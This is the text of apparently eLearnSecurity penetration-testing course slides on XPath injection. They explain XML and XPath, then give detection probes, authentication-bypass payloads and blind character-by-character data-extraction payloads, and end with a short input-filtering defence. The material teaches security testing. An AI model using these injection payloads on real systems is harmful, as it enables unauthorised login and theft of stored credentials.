13.1.

XML Documents and Databases

13.2. XPath

13.3. Detecting XPath Injection

13.4. Exploitation

13.5. Best Defending Techniques

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
EXtensible Markup Language (XML) v1.0 is a markup language
(such as HTML) mainly designed to describe data and not to
display it.
Due to their nature, XML documents are often used as
databases. Data can be read and written through queries and
the XML database looks just like an XML document.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

This is a very simple example of an unsecured XML database
(password in clear) that stores user credentials.
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
<user id=’1’>
<username>jason</username>
<!-- Comment -->
<password>dh8Gjnkj</password>
</user>
<user id=’2’>
<username>chris</username>
<password>ddssdPikmd</password>
</user>
</users>
Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
Let us inspect the content of the previous document in order
to understand better XML documents.
<?xml version="1.0" encoding="ISO-8859-1"?>

The first line of the document is the XML declaration.

Although it is not required, if it exists, it must be the first line
in the document. The XML declaration usually defines the
current version number (1.0 in our case) and the encoding
type.
Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
 <users>
…
</users>

The next line describes the root element of the document.

XML elements define the structure of the document and
identify named section of information. It is important to
know that elements form a document tree: in this specific
case, <users> is the parent of all other elements.
Note that all elements must have a closing tag and must be
properly nested.
Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
In contrast to HTML, you can use any naming convention you
wish for elements just as long as you follow these simple
naming rules:
• Names must start with a letter or underscore and cannot
start with the letters xml
• Names are case sensitive
• Names can contain letter, digits, periods but no spaces

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

 <user id=’1’>
…

The next line describes an child element. Similar to HTML tag,

elements can have attributes (name="value"), which are
useful in defining properties of elements. It is important to
realize that attributes must be quoted and can only appear in
start tags. In our case, the user element has the attribute
named id with its value set to 1.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

 <username>jason</username>

The element above is a child node for the element user. This
time, the element does not contain a child, instead it contains
text.
You can consider this text as the value of the element. If you
consider a database structure, jason would be the text
contained in the table users, column user with id=1.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

 <!-- Comment -->

Similarly to HTML, XML documents can define and contain

comments.
As with any programming language, a comment is defined as
any type of content that is not intended for the XML parsers.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

In the previous slides we covered the very basics of XML
documents. If you want to know more about XML structures,
elements and so on, please use the following online
resources:
• http://www.w3.org/XML/
• http://www.w3schools.com/xml/default.asp
• Microsoft.com XML Standards Reference

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
XPath (XML Path Language) is a standard language used to
query and navigate XML documents. At the time of writing
the latest version is 3.0.
XPath makes use of path expressions in order to select nodes
from an XML document. Let us make this clearer with an
example.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Back to the previous XML document, the XPath query to look
for a node user based on the inserted credentials is:
//user[username/text()='<USERNAME>' and password/text()='<PASSWORD>']

Where <USERNAME> and <PASSWORD> are input values,

inserted by the user, therefore, they should be sanitized
before being used.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Before inspecting the previous XPath query, let us analyze the
most important expressions:
• /: select the document node
• i.e.: /root will select the root element
• //: select all nodes (that match the selection) regardless
their position in the document
• i.e.: users//user select all user elements, no matter where they are
under the users element
• node_name: select all nodes with name node_name
• i.e.: users/user select all user elements that are children of users

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Let us see some other expressions and conditions:
• @: select attributes
• i.e.: /@id select all attributes that are named id
• [element and condition]: select all nodes that match the
defined
• i.e.: user[username] select all user elements that contain at least one
username element child
• i.e.: user[username/text()='john'] select all user elements that contain
the username element child text set to 'john'
• i.e.: //user[@id='1'] select all user elements (no matter where they are
in the document), with the attribute id set to 1

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

To better understand XPath operators and syntax, let us run
some queries on the previous XML document:
//user Select all user element no matter where they are

XPath expression Element='<user id="1">

<username>jason</username>
<!-- Comment -->
XPath result <password>dh8Gjnkj</password>
</user>'
Element='<user id="2">
<username>chris</username>
<password>ddssdPikmd</password>
</user>'

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Select all username elements that are a child of the users
element. Note that they can be anywhere, as long as they are
within the users element.

/users//username
XPath expression
XPath result
Element='<username>jason</username>'
Element='<username>chris</username>'

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Select the username elements, that have the parent user id
attribute value set to 1.

//user[@id='1']/username
XPath expression
XPath result
Element='<username>jason</username>'

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Let us now analyze our previous query:
//user[username/text()='<USERNAME>' and password/text()='<PASSWORD>']

• //: select all user elements no matter where they are in the
document
• username/text()='<USERNAME>': return only the element
with the username text value set to <USERNAME>
• and: Boolean operator
• password/text()='<PASSWORD>': return only the element
with the password text value set to <USERNAME>
Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
If we set the username to jason and the password to
dh8Gjnkj, we will get the following result:

//user[username/text()='jason' and
password/text()='dh8Gjnkj']
XPath expression
XPath result Element='<user id="1">
<username>jason</username>
<!-- Comment -->
<password>dh8Gjnkj</password>
</user>'

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

If you want to dig deeper into XPath expressions and syntax,
please refer to the following resources:
• http://www.w3schools.com/xpath/xpath_syntax.asp
• https://msdn.microsoft.com/en-
us/library/ms256086(v=vs.110).aspx

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

As you probably remember, in SQL you were able to insert a
comment expression into a query.
For example, consider the following SQL query to match users
credential against the database (login operation):
"SELECT * FROM users where username='".$_GET['user']."' AND
password='".$_GET['password']."'"

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The attacker was able to insert a comment (using the ; --
syntax) into the user field to neutralize the piece of the query
containing the AND condition:
"SELECT * FROM users where username='' OR 'a'='a' ; -- AND
password=''"

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Thanks to the comment, the attacker prevented the AND
condition from affecting the SQL query therefore, the
authentication query is always true and the login form has
been bypassed!

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Unlike SQL, the XPath language does not permit comment
expressions. The attacker must provide a specific payload to
bypass a Boolean operator present in the query.
We will see this in the exploitation process.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Unlike SQL, XPath is a case-sensitive language therefore, this
means that the keywords of the language must be specified
exactly as they have been declared in the language specs.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

For example, the logical operators must be specified in this
manner:
• and
• or
• not()

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
The first step for an attacker is to check whether the web
application is susceptible to XPath injection.
As noted earlier, it is necessary that the web application
makes use of an XML database for data storage and querying.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The detection process is the same as in SQL injection: the
attacker must discover each web application parameter and
send specific input data (probes) to check whether it is
vulnerable.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Classic probes include:

APOSTROPHE COMMA

' ,
used as string used to break
terminator integers, although any
character would work

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

In the next few slides, we will refer to a simple vulnerable
web application called CountryInfo. The web application
accepts a parameter countryID and uses it to query an XML
document through XPath queries.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

This is a case of a web application responding with XPath
errors. After injecting the test payload the attacker receives
an error and, from that, can glean that his input payload has
broken the XPath query.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

In some rare cases, the attacker can discover part of the
original XPath query by using errors, as shown in the next
image (based on how the errors are handled by the
application).
Do not confuse this with Microsoft SQL Server error
reporting. That is a set of error-based techniques in which the
database driver aids us during the SQL injection process with
overly verbose errors.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The web application CountryInfo will return an error message
if the attacker provides, as input, the string terminator (single
quote):

The error message describes that the XPath query has been
broken by the input character ' .

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

In the previous cases, the web applications displayed errors
to end users however, in case web applications do not display
error messages, the attacker must detect the injection blindly
by observing application behavior.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

In a blind injection, the attacker will try to trigger two
conditions: TRUE and FALSE.
The TRUE condition will be determined by an injection
payload forcing an always TRUE statement, like 1=1.
The web application output will be different from the one
returned with a FALSE condition like 1=2.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Similarly to SQL Injection, if the web application is vulnerable,
it will react differently and return two different outputs.
For the next tests, we will use the same web application used
before, but this time the error messages are not displayed.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Suppose that our test web application hides errors from end
users. For example, if the attacker inserts malicious input,
nothing is printed on the screen:
The application does not
display an error.
Also note that since the
query is syntactically
wrong, the output is empty.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The web application hides the errors but, this does not mean
that it is not vulnerable.
The goal of the attacker is to look for two payloads making
the XPath query respectively always TRUE and always FALSE.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

In the previous chapter the attacker knew the XPath query
because it was revealed by the error message.
Now the attacker does not know the XPath query but, can
imagine that it is something logical and similar to this:

//<someNode>[<someOtherNode>=<countryID>']

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The attacker must look for a payload that makes the XPath
query always TRUE, so he can try to use the following
payload, which will show the country Italy:
999999 or 1=1

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

In the previous payload 999999 is, most likely, missing
countryID in the database and 1=1 is a Boolean expression
that is always TRUE. According to the attacker’s assumptions
the XPath query will be always TRUE because the query looks
like:

<someNode> [<someOtherNode>= 999999 or 1=1]

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

You are sure that Italy does not have ID 99999, so you can
conclude that the query returned a result set.
The web application has shown only one record, probably the
first or the last depending on the web applications server-side
code.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The page above will be shown in all the cases where the OR
Boolean condition returns TRUE, for example with the
following input data:
999999 or "a"="a"

999999 or 2=2

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The attacker must now look for a payload that makes the
XPath query always FALSE, so he will try to use the following
payload:
999999 or 1=2

Where 999999 is an unused countryID in the database and

1=2 is a Boolean expression that always evaluates to FALSE.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

If the attacker’s assumptions are right, the query will not
return any information. Indeed, as we can see in the following
screenshot, the application does not return a country:

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

According to the attacker’s assumptions the XPath query will
always be FALSE because the query looks like:

<someNode> [<someOtherNode>= 999999 or 1=2]

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

This behavior is different from the first (detecting the TRUE
condition). The previous page has shown, in all the cases
where the OR condition returns FALSE, for example with the
following input data:
999999 or 'a'='b'

999999 or 1=9

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The output yielded by the TRUE condition is different by the
output returned by the FALSE condition.
You can conclude that the web application is vulnerable to
XPath injection for the parameter of countryID .

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
With this process, the attacker takes advantage of the
vulnerability to access restricted data. Generally the attacker
exploits the vulnerability to perform actions such as:
• Bypassing authentication
• Extracting the XML document structure and contents

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Let us see how to bypass a XPath authentication query and
how to extract the XML document structure from it.
We will be referring to a simple web application that stores
user credentials in an XML document and uses XPath queries
to access it.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

We will use, as an example, an XPath query that manages the
authentication of a web application.
Generally an XPath
authentication query
looks like the following:

<someNode>[username='<USERNAME>' and password='<PASSWORD>']

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The expression username='<USERNAME>' and
password='<PASSWORD>' can be represented as:
• (A and B), where A and B are the two conditions that must
be verified to authenticate.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The attacker’s goal is to bypass the authentication system, so
he will look for a payload that makes the above query always
TRUE.
As noted earlier, the XPath language does not allow
comments inside the query itself; this makes exploitation
slightly more difficult because the XPath query contains the
Boolean operator AND.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

If the attacker chooses the username as the injection
parameter, the payload must be something like this:
' or 'a'= 'a' or 'a'= 'a

Then, the XPath query would become:

//<someNode>[username='' or 'a'='a' or 'a'= 'a' and password='']

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The expression
username='' or 'a'='a' or 'a'='a' and password=''

A C D B

can be represented as:

• (A OR C) OR (D AND B)

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The payload is inserting two new redundant Boolean
operators to achieve the scheme on the last page:
• In an OR comparison, the second condition (D AND B) is
checked only if the first (A OR C) is FALSE.
Since A OR C is always TRUE, the second is never checked: the
attacker has neutralized the AND.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Let us see now what payload the attacker should use if he
wants to target the password as the injection parameter:
' or 'a'= 'a

The XPath query would become:

//<someNode>[username='' and password='' or 'a'='a']

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The expression
username='' and password='' or 'a'='a'

A B C

can be represented as:

• (A AND B) OR (C)
The expression (C) is always TRUE so the overall query is
always TRUE and therefore, returns a result set.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The attacker’s main goal is to extract all the XML document
data; this operation is identical to dumping a database during
a SQL injection.
In an SQL database you had schemas, tables, and columns. In
an XML document you have nodes, attributes, values. So, the
attacker’s goal will be to get all the nodes, attributes and
values of the XML document that is being used as database.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

For example, jumping back to our vulnerable web app, a
typical XML document used as a credentials database may
look like the following:

<users>
<user>
<username> philip </username>
<password> mypass </password>
</user>
...
</users>

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

As the attacker, you do not know the structure of the XML
document, but you need to find it out!
The XPath language does not have a statement similar to the
UNION statement in SQL, so the exploit can only be done
with a BLIND technique.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

First of all, the attacker needs to detect which input data
satisfies the TRUE and the FALSE conditions. For example,
considering the password as the injectable parameter, the
input data satisfying the two conditions would be:
• For the TRUE CONDITION: ' or 'a'= 'a
• For the FALSE CONDITION: ' or 'a'= 'b

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Some useful XPath statements to remember during the
exploit are:
*[1] Returns the root node
name(*[1]) XPath function returning the identifier of the root node
(users in our example)
name(/users/*[1]) Function returning the identifier of the first child of the root
node (user in our example)
/users/user[position Select the username of the first user node (example). The
()=1]/username user node is child of the root users node.
Substring(‘label’,1,1) XPath function returning the first character of the label
string – ‘l’

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Suppose that in our example, the identifier of the root node is
users. The attacker will perform multiple XPath queries to find
all the identifier’s characters.
Note that each time the condition is true, it means that the
character used is correct and we can then go on with the next
character.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

To get the first character of the string, the attacker must
insert all of the following payload data until the TRUE
condition is met:
• ' or substring(name(/*[1]),1,1)= 'a Check if the first
• ' or substring(name(/*[1]),1,1)= 'b character of the root
• ' or substring(name(/*[1]),1,1)= 'c node name is a, then
b, then c and so on
• ...
• ' or substring(name(/*[1]),1,1)='u
• This payload will verify the TRUE condition, so the first character of the
identifier is ‘u’
Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
To get the second character of the identifier string, the
attacker must perform all of the following queries until the
TRUE condition is met:
Check if the second (note the 2
• ' or substring(name(/*[1]),2,1)= 'a in the substring function)
character of the root node
• ' or substring(name(/*[1]),2,1)= 'b name is a, then b, then c and so
on
• ' or substring(name(/*[1]),2,1)= 'c
• ...
• ' or substring(name(/*[1]),2,1)='s

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

At the end of these iteration sets, the attacker will finally have
the identifier of the root node: users.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Let us now keep going with our investigation and try to
retrieve the name of the first child node of the root. For now
we know that the XML document structure is as follows:

<users>
…
</users>

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

The attacker will perform multiple XPath queries to find out
all the identifier’s characters.
To get the first character, the attacker must insert all the
following payload data until the TRUE condition is verified:
• ' or substring(name(/users/*[1]),1,1)= 'a
• ' or substring(name(/users/*[1]),1,1)= 'b
• ' or substring(name(/users/*[1]),1,1)= 'c
• ...
• ' or substring(name(/users/*[1]),1,1)='u
Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
To get the second character of the identifier the attacker
must perform all the following queries until the TRUE
condition is met again:
• ' or substring(name(/users/*[1]),2,1)= 'a
• ' or substring(name(/users/*[1]),2,1)= 'b
• ' or substring(name(/users/*[1]),2,1)= 'c
• ...
• ' or substring(name(/users/*[1]),2,1)='s

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

At the end of these iteration sets, the attacker will find out
the identifier of the first child node: user.
We know the following XML document structure:

<users>
<user>
…
</user>
</users>

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Suppose that you have discovered all the node identifiers of
the XML document.
In our example, we will say that you know all the identifiers of
the nodes: users, user, username, password and how they
appear in the hierarchy.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Now, you want to get the content of a node like a username
record. The username can be accessed by using the following
XPath query:
/users/user[position()==$i]/username

Where $i is a numerical placeholder (that you could iterate

to discover every username in the system).

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

In our example, the first username in the list is philip. The
attacker will perform multiple XPath queries to find out all
identifier’s characters:
• ' or substring(/users/user[position()=1]/username,1,1)= 'a
• ' or substring(/users/user[position()=1]/username,1,1)= 'b
• ' or substring(/users/user[position()=1]/username,1,1)= 'c
• ...
• ' or substring(/users/user[position()=1]/username,1,1)= 'p
This returns TRUE
Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
To get the second identifier’s character, the attacker must
perform all of the following queries until the TRUE condition
is met again:
• ' or substring(/users/user[position()=1]/username,2,1)= 'a
• ' or substring(/users/user[position()=1]/username,2,1)= 'b
• ' or substring(/users/user[position()=1]/username,2,1)= 'c
• ...
• ' or substring(/users/user[position()=1]/username,2,1)= 'h

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

At the end of the iteration sets, the attacker will find out the
username: philip. So the payload to determine the second
username will be:

' or substring(/users/user[position()=2]/username,1,1)= 'a

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
The best way to protect against XPath injection is to filter all
input data.
For example, jumping back over to the XPath authentication
query, there are two fields, username and password. In the
XPath query, are mapped as a string type thus the reason for
needing a filtering mechanism.

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

A good practice would be to filter out any non-
alphanumerical character.
Here is a very basic example:
• $username=filterChars($_GET['username']);
• $password=filterChars($_GET['password']);
• $query="//user[username/text()='".$username."' and
password/text()='".$password."']/username";

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

Due to the nature of the exploit, the process can take a very
long time, but it can be easily automated. To this end, many
interesting exploit tools have been developed; the most
important are:
• XPath Blind Explorer
• Xcat
Here instead you can find very useful resources:
• XPath Injection
• Blind XPath
Web Application Penetration Testing 2.0 - eLearnSecurity © 2015
XML w3c XML w3shool

XML Microsoft XPath v.3

XPath Syntax W3School XPath Syntax Microsoft

XPath Blind Explorer Xcat

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

XPath Injection Blind XPath

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

XPath Injection and Xcat

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015

 XPath
In these XPath Injection labs, the student can practice
attacks techniques to exploit XPath injection
vulnerability in order to gather sensitive information
from the target web application.

Powered by TCPDF (www.tcpdf.org)

Web Application Penetration Testing 2.0 - eLearnSecurity © 2015